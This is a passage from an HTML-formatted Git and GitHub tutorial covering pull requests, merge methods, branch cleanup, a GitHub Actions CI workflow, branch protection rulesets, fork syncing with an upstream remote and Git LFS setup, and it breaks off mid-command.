&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; commit &lt;span class=&#34;token parameter variable&#34;&gt;--amend&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Amending changes the commit ID. If others already depend on it, adding a follow-up commit is usually easier than rewriting history just to tidy up the message.&lt;/p&gt;
&lt;span id=&#34;提交-pr-并完成合并&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;open-and-merge-a-pull-request&#34; data-section=&#34;提交-pr-并完成合并&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#open-and-merge-a-pull-request&#34;&gt;#&lt;/a&gt; Open and merge a pull request&lt;/h2&gt;
&lt;p&gt;Push the working branch and establish its upstream:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; push &lt;span class=&#34;token parameter variable&#34;&gt;-u&lt;/span&gt; origin fix/category-wrap&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Open a PR against the intended base. Explain the problem, the change and how you verified it. Here’s an example description:&lt;/p&gt;
&lt;figure class=&#34;highlight markdown&#34;&gt;&lt;figcaption data-lang=&#34;markdown&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token title important&#34;&gt;&lt;span class=&#34;token punctuation&#34;&gt;##&lt;/span&gt; 改动&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;修复手机端分类长标题换行后挤开日期的问题。&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token title important&#34;&gt;&lt;span class=&#34;token punctuation&#34;&gt;##&lt;/span&gt; 验证&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token list punctuation&#34;&gt;-&lt;/span&gt; 检查长标题和短标题的排列。&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token list punctuation&#34;&gt;-&lt;/span&gt; 检查桌面与窄屏下的分类跳转。&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Closes #42&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Only list checks actually performed. Verify that  &lt;code&gt;Closes #42&lt;/code&gt;  points to the issue this change resolves. Use a draft PR to discuss an unfinished approach. Review existing behaviour and edge cases as well as the new code. Push follow-up fixes to the same branch; the PR updates automatically. The &lt;a href=&#34;https://github.com/microsoft/vscode/wiki/How-to-Contribute&#34;&gt;VS Code contribution guide&lt;/a&gt; asks contributors to keep PRs focused and avoid unrelated formatting, which makes changes easier to review.&lt;/p&gt;
&lt;span id=&#34;选择合并方式&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;choose-a-merge-method&#34; data-section=&#34;选择合并方式&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#choose-a-merge-method&#34;&gt;#&lt;/a&gt; Choose a merge method&lt;/h3&gt;
&lt;p&gt;&lt;a href=&#34;#bring-in-changes-from-main&#34;&gt;Syncing the working branch during development&lt;/a&gt; and deciding what history lands on main are distinct decisions. A branch rebased locally can still be squash-merged. A branch kept current with merge commits can also be squashed.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;GitHub option&lt;/th&gt;
&lt;th&gt;Result on the target&lt;/th&gt;
&lt;th&gt;When it fits&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Create a merge commit&lt;/td&gt;
&lt;td&gt;Keeps the branch commits and adds a merge commit&lt;/td&gt;
&lt;td&gt;The full branch relationship is worth retaining.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Squash and merge&lt;/td&gt;
&lt;td&gt;Records the PR as one new commit&lt;/td&gt;
&lt;td&gt;Many small fixes together form a single change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rebase and merge&lt;/td&gt;
&lt;td&gt;Replays the commits individually, with new IDs and no merge commit&lt;/td&gt;
&lt;td&gt;The separate commits already tell the intended story.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Follow the project’s convention.&lt;/p&gt;
&lt;span id=&#34;合并后的分支清理&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;clean-up-after-the-merge&#34; data-section=&#34;合并后的分支清理&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#clean-up-after-the-merge&#34;&gt;#&lt;/a&gt; Clean up after the merge&lt;/h3&gt;
&lt;p&gt;After confirming the merge, remove the remote working branch if appropriate and update local main. A squash of commits A, B and C produces a new S on main. A merge commit keeps A, B and C and joins them with M.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git branch -d&lt;/code&gt;  checks ancestry against the tracked upstream, or against the current branch if there’s no upstream. It doesn’t compare resulting content. A squash-merged branch can therefore report  &lt;code&gt;not fully merged&lt;/code&gt; . Confirm the PR landed and that the working branch has no later unmerged commits. Only then, if needed:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; switch main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; branch &lt;span class=&#34;token parameter variable&#34;&gt;-D&lt;/span&gt; fix/category-wrap&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Capital  &lt;code&gt;-D&lt;/code&gt;  skips the ancestry check. Removing the local branch reference doesn’t undo the squash commit.&lt;/p&gt;
&lt;span id=&#34;用-github-actions-自动检查和发布&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;automating-checks-and-releases-with-github-actions&#34; data-section=&#34;用-github-actions-自动检查和发布&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#automating-checks-and-releases-with-github-actions&#34;&gt;#&lt;/a&gt; Automating checks and releases with GitHub Actions&lt;/h2&gt;
&lt;p&gt;Running a PR’s build and tests automatically gives reviewers a result and a log for every update.&lt;/p&gt;
&lt;h3 id=&#34;cicd&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#cicd&#34;&gt;#&lt;/a&gt; CI/CD&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Continuous integration&lt;/strong&gt; means integrating code frequently and running automated builds and tests to catch problems early. For example, a project can build and run its tests on each PR. &lt;strong&gt;Continuous delivery&lt;/strong&gt; also prepares a releasable package, with release potentially left to a person. &lt;strong&gt;Continuous deployment&lt;/strong&gt; sends passing changes to production without that final approval.&lt;/p&gt;
&lt;p&gt;These are workflows made up of concrete operations such as testing, building, uploading and deploying. GitHub Actions can orchestrate them, and can also perform unrelated repository tasks such as applying labels.&lt;/p&gt;
&lt;span id=&#34;添加检查工作流&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;add-a-check-workflow&#34; data-section=&#34;添加检查工作流&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#add-a-check-workflow&#34;&gt;#&lt;/a&gt; Add a check workflow&lt;/h3&gt;
&lt;p&gt;Store workflows under  &lt;code&gt;.github/workflows/&lt;/code&gt; . Events such as pushes, PR changes and manual dispatch trigger workflows. Each workflow contains one or more jobs. Each job runs on a runner, and its steps run commands or invoke actions in order. Use  &lt;code&gt;needs&lt;/code&gt;  to express dependencies between jobs.&lt;/p&gt;
&lt;p&gt;For this example the project uses Node.js 24, has a committed  &lt;code&gt;package-lock.json&lt;/code&gt; , and defines CI-compatible  &lt;code&gt;test&lt;/code&gt;  and  &lt;code&gt;build&lt;/code&gt;  scripts in  &lt;code&gt;package.json&lt;/code&gt; . Create  &lt;code&gt;.github/workflows/ci.yml&lt;/code&gt; :&lt;/p&gt;
&lt;figure class=&#34;highlight yaml&#34;&gt;&lt;figcaption data-lang=&#34;YAML&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token key atrule&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; CI&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token key atrule&#34;&gt;on&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token key atrule&#34;&gt;pull_request&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token key atrule&#34;&gt;branches&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;main&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token key atrule&#34;&gt;push&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token key atrule&#34;&gt;branches&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;main&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token key atrule&#34;&gt;workflow_dispatch&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;9&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;10&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token key atrule&#34;&gt;permissions&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;11&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token key atrule&#34;&gt;contents&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; read&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;12&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;13&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token key atrule&#34;&gt;jobs&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;14&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token key atrule&#34;&gt;check&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;15&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token key atrule&#34;&gt;runs-on&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; ubuntu&lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt;latest&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;16&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token key atrule&#34;&gt;steps&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;17&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;token key atrule&#34;&gt;uses&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; actions/checkout@v6&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;18&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;token key atrule&#34;&gt;uses&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; actions/setup&lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt;node@v6&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;19&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token key atrule&#34;&gt;with&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;20&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;          &lt;span class=&#34;token key atrule&#34;&gt;node-version&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#39;24&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;21&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;          &lt;span class=&#34;token key atrule&#34;&gt;cache&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; npm&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;22&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;token key atrule&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; npm ci&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;23&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;token key atrule&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; npm test&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;24&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token punctuation&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;token key atrule&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;:&lt;/span&gt; npm run build&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;This workflow only checks the application. It runs on PR updates and checks main after a merge. For manual dispatch the workflow must already exist on the default branch.  &lt;code&gt;npm ci&lt;/code&gt;  installs from the lockfile. If there’s no test script, substitute the project’s actual check command. When strict action pinning is required, use a verified full commit SHA.&lt;/p&gt;
&lt;p&gt;In Actions, open a run and find the first failing step. Its context distinguishes dependency installation, test and build failures. This &lt;a href=&#34;https://github.com/zixu0779/OneDrop/actions/runs/37260378409/job/111606161262&#34;&gt;actual OneDrop CI run&lt;/a&gt; includes formatting, TypeScript compilation, tests and two build targets:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696403/Typora/2026/05/git-github-onedrop-ci-dark.png&#34; alt=&#34;Steps in a successful OneDrop CI run&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;缓存-产物与发布&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;caches-artifacts-and-releases&#34; data-section=&#34;缓存-产物与发布&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#caches-artifacts-and-releases&#34;&gt;#&lt;/a&gt; Caches, artifacts and releases&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;cache: npm&lt;/code&gt;  reuses npm’s package cache, not  &lt;code&gt;node_modules&lt;/code&gt; ; the workflow still runs  &lt;code&gt;npm ci&lt;/code&gt; . Artifacts preserve results such as installers or test reports for later jobs or downloads.&lt;/p&gt;
&lt;p&gt;A separate release workflow might trigger from a tag, a published release or manual dispatch. Deployment environment protections can require approval where the repository and plan support them. The check example needs only  &lt;code&gt;contents: read&lt;/code&gt; . Grant additional permissions only to jobs that need them. Put tokens in Secrets. External fork PRs have restrictions on tokens and secrets: avoid executing untrusted PR code in a privileged  &lt;code&gt;pull_request_target&lt;/code&gt;  context.&lt;/p&gt;
&lt;span id=&#34;保护主分支&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;protect-main&#34; data-section=&#34;保护主分支&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#protect-main&#34;&gt;#&lt;/a&gt; Protect main&lt;/h2&gt;
&lt;p&gt;GitHub offers classic branch protections and rulesets. Multiple rulesets can apply alongside existing protections. The table uses the English labels from Rulesets. The classic branch protection page groups and names its options slightly differently.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Require a pull request before merging&lt;/td&gt;
&lt;td&gt;Route changes through a PR.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Require status checks to pass&lt;/td&gt;
&lt;td&gt;Require named checks such as CI.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Required approvals&lt;/td&gt;
&lt;td&gt;Set the approval count within the PR rule.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block force pushes&lt;/td&gt;
&lt;td&gt;Protect existing history.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Restrict deletions&lt;/td&gt;
&lt;td&gt;Protect the branch from deletion.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Require linear history&lt;/strong&gt; rules out merge commits on the target. Select compatible squash or rebase merges. See &lt;a href=&#34;https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets&#34;&gt;GitHub’s ruleset reference&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Run a workflow at least once before selecting its check name. Path filters or conditional jobs can otherwise leave a PR waiting for a check that never appears. For a solo project, avoid requiring approvals nobody can give; larger projects can add reviewers or code owners. Also check plan availability and who can bypass a rule.&lt;/p&gt;
&lt;span id=&#34;通过-fork-参与其他项目&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;contributing-through-a-fork&#34; data-section=&#34;通过-fork-参与其他项目&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#contributing-through-a-fork&#34;&gt;#&lt;/a&gt; Contributing through a fork&lt;/h2&gt;
&lt;p&gt;With write access, push a working branch to the project. Otherwise fork the project on GitHub, clone your fork locally and propose changes upstream. Forking creates a hosting relationship; cloning downloads a repository.&lt;/p&gt;
&lt;p&gt;After cloning your fork,  &lt;code&gt;origin&lt;/code&gt;  generally points to it. Add a remote for the original project, commonly called  &lt;code&gt;upstream&lt;/code&gt; . These names are conventions. Replace OWNER and REPOSITORY with the original project’s owner and name. If upstream already exists, verify its URL instead of adding it again.&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; remote &lt;span class=&#34;token parameter variable&#34;&gt;-v&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; remote &lt;span class=&#34;token function&#34;&gt;add&lt;/span&gt; upstream https://github.com/OWNER/REPOSITORY.git&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Here main follows upstream and personal changes stay on working branches. Handle uncommitted work first, then sync:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; fetch origin&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; fetch upstream&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; switch main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; merge --ff-only origin/main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; merge --ff-only upstream/main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; push origin main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; switch &lt;span class=&#34;token parameter variable&#34;&gt;-c&lt;/span&gt; fix/category-wrap&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Both fast-forward checks can stop on divergence between local main, your fork and the original repository. Inspect the unique commits and decide what to keep before merging or rebasing. A force push would rewrite history without answering that question.&lt;/p&gt;
&lt;p&gt;Create a working branch, make the change, push to your fork’s origin and open the PR against the branch requested by the project.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696404/Typora/2026/05/git-github-fork-remotes.png&#34; alt=&#34;Local checkout, origin and upstream in a fork workflow&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Read the contribution guide for the target branch, tests and whether an issue discussion is expected first.&lt;/p&gt;
&lt;span id=&#34;用-git-lfs-管理大文件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;managing-large-files-with-git-lfs&#34; data-section=&#34;用-git-lfs-管理大文件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#managing-large-files-with-git-lfs&#34;&gt;#&lt;/a&gt; Managing large files with Git LFS&lt;/h2&gt;
&lt;p&gt;Images, models and audio sources may need versioning alongside code. Git LFS stores small pointers in Git and keeps the contents in LFS storage. GitHub rejects ordinary Git files over 100 MiB. Consider LFS for required versioned binaries, ignore build caches and put downloadable release installers in Releases.&lt;/p&gt;
&lt;p&gt;Once you’ve installed Git LFS, initialise it in the repository and add a tracking rule. Here’s an example for PSD files that ordinary Git hasn’t tracked yet:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; lfs &lt;span class=&#34;token function&#34;&gt;install&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; lfs track &lt;span class=&#34;token string&#34;&gt;&#34;*.psd&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;add&lt;/span&gt; .gitattributes&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;add&lt;/span&gt; assets/example.psd&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; commit &lt;span class=&#34;token parameter 